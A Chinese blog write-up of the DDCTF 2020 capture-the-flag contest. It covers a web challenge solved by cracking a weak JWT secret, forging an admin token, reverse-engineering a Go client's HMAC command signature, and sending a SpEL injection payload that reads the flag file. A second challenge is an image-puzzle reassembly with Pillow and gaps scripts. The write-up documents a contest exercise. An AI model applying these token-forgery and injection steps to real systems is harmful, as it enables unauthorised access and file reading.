2020DDCTF WP

Web签到题

题目

请从服务端获取client,利用client获取flag
server url:http://117.51.136.197/hint/1.txt

根据提示获取信息

curl http://117.51.136.197/admin/login --data "username=admin&pwd=admin"
返回token

{"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5Mjg3NDQxfQ.jbAOZ_NOCoe54hdr9i8t741h6Y2FP1UY5tDdMxvWXpE"}

curl http://117.51.136.197/admin/auth --data "username=admin&pwd=admin&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6ImFkbWluIiwiZXhwIjoxNTk5Mjc2ODQxfQ.Ya9TieutPtdqGO6uwf-GlO8a9SxngCbLHh-P4gwThTE" 可以登录用户

auth{"code":1000,"message":"need ADMIN permission","data":null}

JWT爆破密钥

./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5Mjc2ODgyfQ.nHz1P2TsTiWYmlIqRs6Sjvk5nXklNn24RuByaEyqOUk  

Secret is "admin"
{
  "userName": "admin",
  "pwd": "admin",
  "userRole": "GUEST", //修改为admin 用爆破出的key加密
  "exp": 1599276841
}

` curl http://117.51.136.197/admin/auth –data “username=admin&pwd=admin&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6ImFkbWluIiwiZXhwIjoyNTk5Mjc2ODQxfQ.IQ7iBzVvkSilKfBXOImS9pNNMtmlQ1VI_TIZCmtJbDE”`

{"code":0,"message":"success","data":"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"}

运行clinet

2020/09/04 11:48:04
 ____  _  ____  _  ____  _____  _____       ____  ____  ____  ____
/  _ \/ \/  _ \/ \/   _\/__ __\/    /      /_   \/  _ \/_   \/  _ \
| | \|| || | \|| ||  /    / \  |  __\_____  /   /| / \| /   /| / \|
| |_/|| || |_/|| ||  \__  | |  | |   \____\/   /_| \_/|/   /_| \_/|
\____/\_/\____/\_/\____/  \_/  \_/         \____/\____/\____/\____/


2020/09/04 11:48:04
+---------------------------------------------------+
|Flag Path      := /home/dc2-user/flag/flag.txt     |
|签名格式       :=      command|time_stamp          |
+---------------------------------------------------+

2020/09/04 11:48:04
+------------------+                +----------------------+                +--------------------+
|                  |                |                      |                |                    |
|                  +---------------->                      +---------------->                    |
|     Client       |                |     Auth/Command     |                |       minion       |
|                  <----------------+                      +<---------------+                    |
|                  |                |                      |                |                    |
+------------------+                +----------------------+                +--------------------+


2020/09/04 11:48:04 [*]Start ping master...
2020/09/04 11:48:04 [-]http://117.51.136.197/server/health connect succuess
2020/09/04 11:48:04 [*]Start send command to minions...
2020/09/04 11:48:04 [+]get sign:YfeN1x50dE5z0u3GgWRcRKB9tPlVMVrItBYfEk10WUA=, command:'DDCTF', time_stamp:1599191284
2020/09/04 11:48:04 [+]send command url http://117.51.136.197/server/command and response:{"code":0,"message":"success","data":"DDCTF"}

tcpdump 'dst 117.51.136.197 ' -vv 抓到传参

{"signature":"x0rm+qCo9TNYbHOav2CDLVbB6CI8+LBFjktfOzfD3bg=","command":"'DDCTF'","timestamp":1599199407}

试图用ida逆向golang client 我的ida版本太老了所以只能用这个兄弟魔改的插件 golang_loader_assist(7.0 support)
发现经过了runtime_stringtoslicebyte -> crypto_sha256_New_ptr -> crypto_hmac_New -> encoding_base64__Encoding_EncodeToString

写了个脚本 结果位数不对

import hashlib
import hmac
import base64

secret = 'DDCTFWithYou'     #sha1=fbf2c653e6a38b5051f652bbb665ec15b4f8a180
data = "'DDCTF'|1599205604" 

sha256_computed = hashlib.sha256(data.encode("utf-8")).hexdigest()
hmac_computed = hmac.new(key=secret.encode('utf-8'),msg=sha256_computed.encode('utf-8'),digestmod=hashlib.sha1).hexdigest()
base64_computed = base64.b64encode(bytes(sha256_computed,"utf-8"))
print(base64_computed)
print(b"m/4VP+aX5JdEY3/Iq1SYYcpKj7bRLp96Q9Xy4nCBS7M=")

以下是看了师傅们题解。。。
Go 写的,简单逆一下,得到签名算法。

package main

import (
    "bytes"
    "io/ioutil"
    "net/http"

    "crypto/hmac"
    "crypto/sha256"
    "encoding/base64"
    "encoding/json"
    "time"

    "github.com/gin-gonic/gin"
)

type Param struct {
    Command   string `json:"command"`
    Signature string `json:"signature"`
    Timestamp int64  `json:"timestamp"`
}

func main() {
    r := gin.Default()

    r.POST("/", func(c *gin.Context) {
        command := c.DefaultPostForm("command", "DDCTF")
        key := "DDCTFWithYou"

        timestamp := time.Now().Unix()
        plain := fmt.Sprintf("%s|%d", command, timestamp)
        mac := hmac.New(sha256.New, []byte(key))
        mac.Write([]byte(plain))

        param := new(Param)
        param.Command = command
        param.Signature = base64.StdEncoding.EncodeToString(mac.Sum(nil))
        param.Timestamp = timestamp
        js, _ := json.Marshal(param)

        url := "http://117.51.136.197/server/command"
        resp, err := http.Post(url, "application/json", bytes.NewBuffer(js))
        if err != nil {
            panic(err)
        }
        defer resp.Body.Close()
        body, _ := ioutil.ReadAll(resp.Body)
        c.String(http.StatusOK, string(body))
    })

    r.Run(":2333")
}

一开始还以为是 cel,SpEL 有点简单过滤,直接能读到 /flag。
new java.util.Scanner(new java.io.File(‘/home/dc2-user/flag/flag.txt’)).next()


果然是我太菜了 我跟大佬的 简单 逆一下根本不是同一个简单

一起拼图吗

用Pillow把图片合成

import PIL.Image as Image
import os
 
IMAGES_PATH = './'  # 图片集地址
IMAGES_FORMAT = ['.png']  # 图片格式
IMAGE_SIZE = 256  # 每张小图片的大小
IMAGE_ROW = 11  # 图片间隔,也就是合并成一张图后,一共有几行
IMAGE_COLUMN = 21  # 图片间隔,也就是合并成一张图后,一共有几列
IMAGE_SAVE_PATH = '../final.png'  # 图片转换后的地址
 
# 获取图片集地址下的所有图片名称

image_names = [name for name in os.listdir(IMAGES_PATH) for item in IMAGES_FORMAT if
               os.path.splitext(name)[1] == item]

def sort_file_by_time(file_path):
    files = os.listdir(file_path)
    if not files:
        return
    else:
        files = sorted(files, key=lambda x: os.path.getmtime(os.path.join(file_path, x)))#格式解释:对files进行排序.x是files的元素,:后面的是排序的依据.   x只是文件名,所以要带上join.
        return files
image_names = sort_file_by_time(IMAGES_PATH)
print(image_names)


# 简单的对于参数的设定和实际图片集的大小进行数量判断
if len(image_names) < IMAGE_ROW * IMAGE_COLUMN:
    raise ValueError("合成图片的参数和要求的数量不能匹配!")

# 定义图像拼接函数
def image_compose():
    to_image = Image.new('RGB', (IMAGE_COLUMN * IMAGE_SIZE, IMAGE_ROW * IMAGE_SIZE)) #创建一个新图
    # 循环遍历,把每张图片按顺序粘贴到对应位置上
    for y in range(1, IMAGE_ROW + 1):
        for x in range(1, IMAGE_COLUMN + 1):
            from_image = Image.open(IMAGES_PATH + image_names[IMAGE_COLUMN * (y - 1) + x - 1]).resize(
                (IMAGE_SIZE, IMAGE_SIZE),Image.ANTIALIAS)
            to_image.paste(from_image, ((x - 1) * IMAGE_SIZE, (y - 1) * IMAGE_SIZE))
    return to_image.save(IMAGE_SAVE_PATH) # 保存新图
image_compose() #调用函数

montage *.png -tile 9x9 -geometry +0+0 flag.png 然后gaps就能自动拼图了

gaps --image=flag.png --size=55 --save

以上也是理论 没有亲自尝试

总结

这次比赛也没怎么好好打 还以为是像去年一样 可以打一周的 结果忙了点别的事情 就错过了


© 2021. All rights reserved.

本站总访问量 Web Analytics

Powered by Hydejack v9.1.2 & Moded by ZYA